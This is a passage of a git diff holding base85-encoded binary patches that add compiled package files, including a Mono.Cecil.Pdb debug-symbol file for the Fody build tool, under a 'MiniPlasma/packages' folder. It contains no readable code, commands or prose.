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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.pdb b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.pdb new file mode 100644 index 0000000000000000000000000000000000000000..7c732ca09abe6d80c65c6ae598ebc86e94e5eb4a GIT binary patch literal 27668 zcmeHwd3;nw)^_#nn_iOc?0X<|Hr5c55FiOV%@!dn39EqE>2yLvl1|bcAYx1>5yf3` z9Y$rzj2q%MZYaZIbOd$8eRmuu&O5`%j5x#KI{H25baisM`n})x{{QC3IaSZCz3SAd zQ+4Y$v#KwcWe^5Ie>TvP*|Qv*iwX+)fiQ_n;kg`?v!u3$pCRg{2+g?+ZjlhDBjB$N zw0fKB{S>}ok`OAzUtTR5;J=vs^Ojf4hWiTe{1V_<4L-`O`l@Z#_L>jpUFSKwaPEw` zuU9`Ga{`aW${+VlwMGiA6_tGsl!tQOM%k|;^Jw7J@Xt_$7!N-YwZH_L3!-);fD%FU ze57;{ov{%v#i4xY56>wY{*Htkv^WnwDsL}n9f%^7fqn-X3sizsLAY1LeFE-LxSzv4 z2RF}P5QPRsTm;t(_jb7Z;JyX-6S#K8AW{`Y%!6A6w+HU^aF4)!3GTOWBaDieY&3|u zaJRtihWilQgK$5Gdk*e!)gX#gMXZCn0q!kucf)-J?z?a!A`BunLJ?Ep&W9U-+X?po z+^6B5f_oP3IFmt?n-p;g+$-Sz4(=Opqs#`8VphZja96;+8t!dyUxND%T-Ad7EsB^6 zw+e0$?zM2wz!g^N?f?Dz-yZm%_rNgma?~&}$u>+>fYyL+06hvi2s#Ej0eT(uKIl`> 